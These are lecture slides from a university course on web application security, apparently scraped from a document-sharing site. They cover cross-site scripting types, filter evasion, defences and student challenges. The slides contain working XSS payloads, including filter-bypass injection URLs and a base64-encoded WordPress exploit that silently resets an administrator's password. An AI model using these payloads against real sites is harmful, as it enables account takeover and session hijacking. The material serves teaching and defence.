Cross-Site Scripting Analysis and Exploitation Techniques

Cross-Site Scripting: analysis,
identification and exploitation

Mauro Gentile
Web Application Security course (Elective in Computer Networks)

prof. Fabrizio d'Amore
Dept. of Computer, Control, and

Management Engineering Antonio Ruberti
Sapienza University of Rome
Who am i?
●
Msc in Computer Engineering
●
Application Security background
●
Master's Thesis: “Automatic and Context-Aware Cross-Site Scripting Filter
Evasion”, supervisor: prof. d'Amore
●
XSS filter evasion tool: http://code.google.com/p/snuck/
●
Ranked 4th in the “Premio Clusit” as one of the most innovative Italian IT security
thesis in 2012
●
Security Consultant at Minded Security
●
Application Security Consulting & Security Research company
●
Interested in:
●
Web Application Security
●
Web Browser Security
●
Some bugs @ http://www.sneaked.net
Web App Security
●
Why web app sec is important?
●
Online platforms handling private data are becoming more and more popular
●
High benefits from the users perspective, but...
●
… such kind of applications fascinate the hackers!
●
Huge number of web app attacks registered in the last years
●
High probability of being attacked sooner or later
●
Accessing companies data possibly implies:
●
Customer loss
●
Reputation impact
●
Building a completely safe web app is not easy!
●
Many aspect should be taken into account (OWASP principles)
●
Attackers could be smart
●
Awareness is required among developers
XSS: Cross-Site Scripting
●
XSS is a web application vulnerability that exploits the trust a user has for a web site
●
The attacker's goal is to execute malicious code in the context of a trusted web site
●
Practical example?
Hey <?php echo $_GET['name']; ?>, how are u?
The application reflects the name given in the GET parameter called name.
http://target.net/page.php?name=superman
Hey superman, how are u?
But the attacker could inject its own code in order to execute JavaScript
http://target.net/page.php?name=<script>alert(1)</script>
Hey <script>alert(1)</script>, how are u?

One step back: SOP
●
Web Browser security is regulated by a policy, the Same Origin Policy, which restricts
how a document or script loaded from one origin can interact with a resource from
another origin
●
Practically speaking, the scripts in domain A.com cannot access the data in B.com
●
How is XSS related to SOP?
●
The attacker can inject code in the target domain
●
The web browser cannot distinguish among a benign and a malicious script
●
Therefore it executes it
●
This means that the attacker can access the data in that domain since this is perfectly legit
from the SOP perspective
●
External JavaScript running on your domain!
SOP, Mozilla Developer Network:

https://developer.mozilla.org/en-US/docs/JavaScript/Same_origin_policy_for_JavaScript
Browser Security Handbook, part 2: https://code.google.com/p/browsersec/wiki/Part2
XSS Classification
●
Reflected XSS
●
Injection immediately echoed in the server's response
●
Refer to the previously mentioned example
XSS Classification
●
Stored XSS
●
Injection stored in a permanent data store and echoed at every visit
XSS Classification
●
DOM-Based XSS
●
Misuse the existent client-side script in order to make it work maliciously
<html>
<body>
<script>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</script>
</body>
</html>
How can we trigger the issue?

http://target/test.html#name=<script>alert(1)</script>
How to discover them?
Realtime Dynamic Data Tainting – DOMinator, https://dominator.mindedsecurity.com/
DOM Based Cross Site Scripting or XSS of the Third Kind:

http://www.webappsec.org/projects/articles/071105.shtml
XSS detection
●
Manual Penetration testing
●
Time-consuming task and expert skills are obviously required
●
However, good detection coverage
●
Web Vulnerability Scanners
●
Tools that address the vulnerabilities detection problem by automating the whole
discovery process
●
The existing literature showed many intrinsic limitations:
●
False positives
●
Crawling problem
●
Poor coverage of data entry points
●
Intended Workflow
●
How should the application be used?
Why Johnny can't pentest: an analysis of black-

box web vulnerability scanners: http://cs.ucsb.edu/~adoupe/static/black-box-scanners-
dimva2010.pdf
Protecting against XSS
●
Server-side mechanisms ●
Web Application Firewalls
●
HtmlPurifier ●
ModSecurity
●
Client-side mechanisms ●
Content Security Policy
●
NoScript, XSSAuditor
XSS filter: sanitization system that prevents malicious code to be supplied through a
form or, more generally, through a data entry point in a web application
Some examples
●
Basic XSS #1
<html>
<body>
<script>
var my_variable = “<?= $_GET['test']; ?>”;
// handle my_variable here
</script>
</body>
</html>
How can we inject it? http://target/page.php?test=“;alert(1)//

Comment the rest in
<html> order to avoid JS errors
<body>
<script>
var my_variable = Break out the JS Injection payload
““;alert(1)//”; variable and close the
// handle my_variable assignment
here
Some examples (cont.d)
●
Basic XSS #2
<html>
<body>
<a href=“<?= $_GET['test']; ?>”>click me</a>
</body>
</html>
How can we inject it? http://target/page.php?test=javascript:alert(1)
Pseudoscheme + colon Injection payload
No colon allowed? http://target/page.php?test=#” onmouseover=alert(1)//
Url encoded: http://target/page.php?test=%23%22%20onmouseover

%3Dalert(1)%2F%2F
Filtering
●
Dumb Filtering Example #1
●
Filtering means to strip out potentially harmful user-generated content
<html>
<body>
<?php
$text = $_GET['test'];
echo strip_tags($text, '<p><a>');
?>
</body>
</html>
●
Stopping <script>alert(1)</script> or similars would not
make the app XSS-safe!
●
The attacker could still inject <a href=javascript:alert(1)>xxx
Filtering (cont.d)
●
●
Idea: stripping out double quotes to avoid attribute breaking
Obviously vulnerable:
http://target/page.php?id=);prompt(document.cookie)//
Fix #1 – disallow parentheses and double quotes
Developer's perspective: disallowing parentheses means to avoid the attacker to execute

JavaScript functions
Attacker's perspective: is there any chance to make a successful injection without using
parentheses?
Filtering (cont.d)
●
parentheses? Yes!
http://target/page.php?id=location.href='javascript:prompt%2528/mauro%20rocks/%2529'
Fix #2 – disallow parentheses, double quotes and colons
Developer's perspective: disallowing colons will block the attacker to generate these
malicious redirects
these characters?
Filtering (cont.d)
●
colons? Yes!
http://target/page.php?id=location.href='javascript%26%2358;prompt%2528/mauro
%20rocks/%2529'
http://target/page.php?id=innerHTML=location.hash#<img src=xx:x onerror=alert(1) />
Fixing in this way is incredibly foolish!
●
XSS cannot be solved through a blacklist, whereas a whitelist approach allows to
successfully handle such situations
●
We can continue to fix over and over as the attacker will always find a way to obfuscate its
own payload
●
XSS is related to the context, therefore output encoding should be carried out on the basis
of the context the supplied data will be reflected into
●
Solution: use web application security control library, such as OWASP ESAPI
Filtering (cont.d)
The mentioned issue could have been simply handled through input validation, as follows:
Simple and effective

●
Adopting regular expressions means to implicitely adopt a whitelist
●
No chance for the attacker to inject non numeric chars
●
However, these are very basic attack scenarios...
●
Allowing users to share its own content, while giving them a wide degree of freedom
in terms of allowed inputs, may become challenging
●
The complexity raises as the number of possible data entry points in which users
might marshal content increases
Exploitation
●
How to exploit an XSS
●
Exploiting vulnerabilities requires creativity as it is quite application-dependent
●
Evading robust filters requires strong ninja skills
●
Some attack vectors may work in a browser, but not in another
●
A smart exploit would require to know the basic application logic
●
Exploit methodologies
●
Session Hijacking – steal session information to impersonate the victim
●
Modifying user credentials
●
Stealing anti-CSRF tokens – perform unwanted actions on the victim's behalf
●
Phishing attacks
●
Control the whole user session
How to: Exploit an XSS: http://blog.detectify.com/post/35208929112/how-to-exploit-an-xss

XSS-Track: How to quietly track a whole website through single XSS:
http://blog.kotowicz.net/2010/11/xss-track-how-to-quietly-track-whole.html
Javascript keylogger in JQuery: http://www.idontplaydarts.com/2011/05/javascript-keylogger-in-
jquery/
Exploitation
●
Exploitation example
●
Persistent XSS in WordPress <= 3.3.1, fixed
●
The attacker could supply a malicious comment, as follows:
<a
href="feed:data:text/html;base64,PHNjcmlwdD4KZnVuY3Rpb24gc3RhcnQoKSB
7CnZhciBwd2QgPSAibXluZXdwd2QiOwp2YXIgaWZyID0gZG9jdW1lbnQuZ2V0RWxlbWV
udHNCeVRhZ05hbWUoImlmcmFtZSIpWzBdOwp2YXIgaWZyRG9jID0gaWZyLmNvbnRlbnR
Eb2N1bWVudCB8fCBpZnIuY29udGVudFdpbmRvdy5kb2N1bWVudDsKdmFyIHRoZUZvcm0
gPSBpZnJEb2MuZ2V0RWxlbWVudHNCeU5hbWUoInBhc3MxIilbMF07CnRoZUZvcm0udmF
sdWUgPSBwd2Q7CnRoZUZvcm0gPSBpZnJEb2MuZ2V0RWxlbWVudHNCeU5hbWUoInBhc3M
yIilbMF07CnRoZUZvcm0udmFsdWUgPSBwd2Q7Cmlmci5vbmxvYWQ9ZnVuY3Rpb24oKXt
sb2NhdGlvbj0naHR0cDovLzEyNy4wLjAuMS9DTVMvd29yZHByZXNzLyc7fTsKaWZyRG9
jLmdldEVsZW1lbnRCeUlkKCJzdWJtaXQiKS5jbGljaygpOwp9Cjwvc2NyaXB0Pgo8aWZ
yYW1lIHNyYz0iaHR0cDovLzEyNy4wLjAuMS9DTVMvd29yZHByZXNzL3dwLWFkbWluL3B
yb2ZpbGUucGhwIiB3aWR0aD0wIGhlaWdodD0wIG9ubG9hZD0ic3RhcnQoKSI+">CLICK
ME!!!</a>
Multiple vulnerabilities in Wordpress:

http://www.sneaked.net/multiple-vulnerabilities-in-
wordpress
Exploitation (cont.d)
●
Decoding the base64 payload...
<script>
function start() {
var pwd = "MY_NEW_PWD";
var ifr = document.getElementsByTagName("iframe")[0];
var ifrDoc = ifr.contentDocument || ifr.contentWindow.document;
var theForm = ifrDoc.getElementsByName("pass1")[0];
theForm.value = pwd;
theForm = ifrDoc.getElementsByName("pass2")[0];
theForm.value = pwd;
ifr.onload=function(){location='http://127.0.0.1/CMS/wordpress/';};
ifrDoc.getElementById("submit").click();
}
</script>
<iframe src="http://127.0.0.1/CMS/wordpress/wp-admin/profile.php"
width=0 height=0 onload="start()">
●
Asking the admin to click the injected link makes him modify its own password!
●
data URIs inherit the origin of the opener in Firefox
●
feed scheme in Firefox <= 13
●
X-Frame-Options: SAMEORIGIN in WordPress
Here starts the fun...
●
We introduce 4 XSS challenges, that you should solve!
●
http://www.dis.uniroma1.it/~waslab/ - read the Note, it's important!
●
Increasing complexity
●
For any challenge you are asked to meet a goal
●
You are basically asked to manage a successful injection that allows to execute your own
code
●
Play hard and focus on the goals
●
Submit your solutions through the challenge itself
Challenge #1
●
URL: http://www.dis.uniroma1.it/~waslab/challenge-1.php
●
Complexity: basic
●
Goal: perform an alert([your_name rocks]) – for instance generate an alert('mauro
rocks')
●
Description: Your input is filtered in a very easy fashion
●
You need to “reverse” the filter function logic and inject HTML code aiming towards
executing JS code
<html>
<body>
<textarea>
<?= filter($_GET['test']); ?>
</textarea>
</body>
</html>
●
Example: http://www.dis.uniroma1.it/~waslab/challenge-1.php?
xss=nice_to_meet_u_xss
Challenge #2
●
●
Complexity: basic
●
Goal: perform an alert([your_name]) – for instance generate an alert('mauro')
●
Description: Common XSS scenario
●
Your input is reflected in the attribute src of an image
<html>
<body>
<img src=”<?= filter($_GET['test']); ?>” />
</body>
</html>
●
Try with this: http://www.dis.uniroma1.it/~waslab/challenge-2.php?
xss=http://upload.wikimedia.org/wikipedia/commons/8/8a/Cat_eyes_2007-2.jpg
Challenge #3
●
●
Complexity: medium
●
Goal: perform an alert('xss')
●
Description: Common XSS scenario in the case of persistent ones
●
You can inject HTML code, but you need to understand which whitelist is employed
●
Quite tricky since some annoying filtering mechanisms are adopted
<html>
<body>
<?= filter($_GET['test']); ?>
</body>
</html>
●
Try with this: http://www.dis.uniroma1.it/~waslab/challenge-3.php?xss=<h1>my
firSt injection</h1>
Challenge #4
●
●
Complexity: advanced
●
Goal: perform an alert(1)
●
Description: Advanced XSS scenario
●
Two injection parameters
●
Puzzling filtering mechanisms are adopted
<script>
/* alert(<?= filter($_GET['a']); ?>=<?= filter2($_GET['b']); ?>) */
</script>
●
Squeeze your brain...!
Challenge (cont.d)
●
Hints will be provided if troubles arise
●
For further information – excluding solutions – mail @ gentile.mauro.mg@gmail.com
●
...and, last but not least, have fun guys!
●
In addition, we are working on some other challenges - refer to
http://www.dis.uniroma1.it/~waslab/
●
SQL Injection
●
Local File Inclusion
●
Command Execution
Recommended readings and resources
●
The Web Application Hacker's Handbook: Discovering and Exploiting Security Flaws,
Dafydd Stuttard, Marcus Pinto
●
Web Application Obfuscation: '-/WAFs..Evasion..Filters//alert(/Obfuscation/)-',
Mario Heiderich, Eduardo Alberto Vela Nava, Gareth Heyes, David Lindsay
●
The Tangled Web: A Guide to Securing Modern Web Applications,
Michal Zalewski
●
Browser Security Handbook, http://code.google.com/p/browsersec/wiki/Main,
Michal Zalewski
●
domxsswiki, http://code.google.com/p/domxsswiki/,
Stefano Di Paola
●
Cross-site Scripting (XSS), https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29,
OWASP
●
Cross Site Scripting Attack , http://www.acunetix.com/websitesecurity/cross-site-scripting/,
Acunetix
●
Hackvertor, https://hackvertor.co.uk/public,
Gareth Heyes
Questions?
●
Thanks!
Mauro Gentile
Personal
Email: gentile.mauro.mg@gmail.com
Blog: http://www.sneaked.net
Twitter: @sneak_
Company
Email: mauro.gentile@mindedsecurity.com
Site: http://www.mindedsecurity.com
Blog: http://blog.mindedsecurity.com
Twitter: @mindedsecurity

Cross-Site Scripting Analysis and Exploitation Techniques

Uploaded by

Document Information

Original Description:

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Cross-Site Scripting Analysis and Exploitation Techniques

Uploaded by

Copyright:

Available Formats

Cross-Site Scripting: analysis,

identification and exploitation

Web Application Security course (Elective in Computer Networks)

Dept. of Computer, Control, and

Hey superman, how are u?

Hey <script>alert(1)</script>, how are u?

SOP, Mozilla Developer Network:

How can we trigger the issue?

DOM Based Cross Site Scripting or XSS of the Third Kind:

Why Johnny can't pentest: an analysis of black-

How can we inject it? http://target/page.php?test=“;alert(1)//

How can we inject it? http://target/page.php?test=javascript:alert(1)

Pseudoscheme + colon Injection payload

No colon allowed? http://target/page.php?test=#” onmouseover=alert(1)//

Url encoded: http://target/page.php?test=%23%22%20onmouseover

Fix #1 – disallow parentheses and double quotes

Developer's perspective: disallowing parentheses means to avoid the attacker to execute

Fix #2 – disallow parentheses, double quotes and colons

http://target/page.php?id=innerHTML=location.hash#<img src=xx:x onerror=alert(1) />

Fixing in this way is incredibly foolish!

Simple and effective

How to: Exploit an XSS: http://blog.detectify.com/post/35208929112/how-to-exploit-an-xss

Multiple vulnerabilities in Wordpress:

You might also like